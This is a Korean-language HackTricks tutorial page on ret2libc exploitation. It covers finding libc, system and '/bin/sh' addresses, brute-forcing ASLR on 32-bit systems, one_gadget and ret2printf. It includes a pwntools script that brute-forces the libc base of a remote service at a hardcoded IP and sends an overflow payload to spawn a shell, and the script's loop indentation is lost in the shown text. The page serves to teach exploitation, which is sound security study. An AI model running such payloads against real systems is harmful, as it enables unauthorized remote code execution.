Ret2lib

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

기본 정보

Ret2Libc의 본질은 취약한 프로그램의 실행 흐름을 공격자가 제공한 쉘코드를 스택에서 실행하는 대신 공유 라이브러리 내의 함수(예: system, execve, strcpy)로 리디렉션하는 것입니다. 공격자는 스택의 반환 주소를 원하는 라이브러리 함수로 가리키도록 수정하는 페이로드를 작성하며, 호출 규약에 따라 필요한 인수가 올바르게 설정되도록 준비합니다.

예시 단계 (단순화)

  • 호출할 함수의 주소(예: system)와 호출할 명령(예: /bin/sh)의 주소를 가져옵니다.
  • 첫 번째 인수로 명령 문자열을 가리키고 함수로의 실행 흐름을 전달하는 ROP 체인을 생성합니다.

주소 찾기

  • 현재 머신에서 사용되는 libc가 메모리에 로드될 위치를 찾으려면:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

libc의 주소가 ASLR에 의해 변경되고 있는지 확인하려면 다음을 수행할 수 있습니다:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 사용된 libc를 알면 system 함수의 오프셋을 찾는 것도 가능합니다:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 사용된 libc를 알면 /bin/sh 함수의 오프셋을 찾는 것도 가능합니다:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF 사용하기

사용된 libc를 알면, Peda 또는 GEF를 사용하여 system 함수, exit 함수 및 문자열 **/bin/sh**의 주소를 얻는 것도 가능합니다:

bash
p system
p exit
find "/bin/sh"

/proc/<PID>/maps 사용하기

프로세스가 자식 프로세스를 생성할 때마다 대화하는 경우(네트워크 서버) 해당 파일을 읽어보세요(아마도 root 권한이 필요할 것입니다).

여기에서 프로세스 내에서 libc가 로드된 정확한 위치와 프로세스의 모든 자식 프로세스에 대해 어디에 로드될 것인지를 찾을 수 있습니다.

이 경우 0xb75dc000에 로드됩니다(이것이 libc의 기본 주소가 됩니다).

알 수 없는 libc

바이너리가 로드하는 libc를 모를 수도 있습니다(서버에 접근할 수 없기 때문일 수 있습니다). 그런 경우 취약점을 악용하여 주소를 유출하고 어떤 libc 라이브러리가 사용되고 있는지 찾을 수 있습니다:

Leaking libc address with ROP

그리고 여기에서 pwntools 템플릿을 찾을 수 있습니다:

Leaking libc - template

2개의 오프셋으로 libc 알기

페이지 https://libc.blukat.me/를 확인하고 libc 내의 몇 개의 함수 주소를 사용하여 사용된 버전을 알아내세요.

32비트에서 ASLR 우회하기

이러한 무작위 공격은 32비트 시스템에만 유용합니다.

  • 익스플로잇이 로컬인 경우, libc의 기본 주소를 무작위로 추측해 볼 수 있습니다(32비트 시스템에 유용함):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • 원격 서버를 공격하는 경우, usleep libc 함수의 주소를 브루트 포스 시도할 수 있으며, 인수로 10을 전달합니다(예: 10). 만약 어느 시점에서 서버가 응답하는 데 10초가 추가로 걸린다면, 이 함수의 주소를 찾은 것입니다.

One Gadget

하나의 특정 주소로 점프하여 셸을 실행합니다:

One Gadget

x86 Ret2lib 코드 예제

이 예제에서는 ASLR 브루트 포스가 코드에 통합되어 있으며, 취약한 바이너리는 원격 서버에 위치합니다:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib 코드 예제

다음 예제를 확인하세요:

ROP - Return Oriented Programing

ARM64 Ret2lib 예제

ARM64의 경우, ret 명령어는 x30 레지스터가 가리키는 곳으로 점프하며, 스택 레지스터가 가리키는 곳으로는 점프하지 않습니다. 그래서 조금 더 복잡합니다.

또한 ARM64에서는 명령어가 하는 대로 수행됩니다 (명령어 중간에 점프하여 새로운 명령어로 변환하는 것은 불가능합니다).

다음 예제를 확인하세요:

Ret2lib + Printf leak - arm64

Ret-into-printf (또는 puts)

이는 printf/puts를 특정 데이터와 함께 인수로 호출하여 프로세스에서 정보를 유출할 수 있게 합니다. 예를 들어, puts의 GOT 주소를 puts 실행에 넣으면 메모리에서 puts의 주소를 유출할 수 있습니다.

Ret2printf

이는 기본적으로 Ret2lib를 악용하여 printf 형식 문자열 취약점으로 변환하는 것을 의미합니다. ret2lib를 사용하여 printf를 호출하고 이를 악용할 값을 전달합니다 (쓸모없어 보이지만 가능함):

Format Strings

기타 예제 및 참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기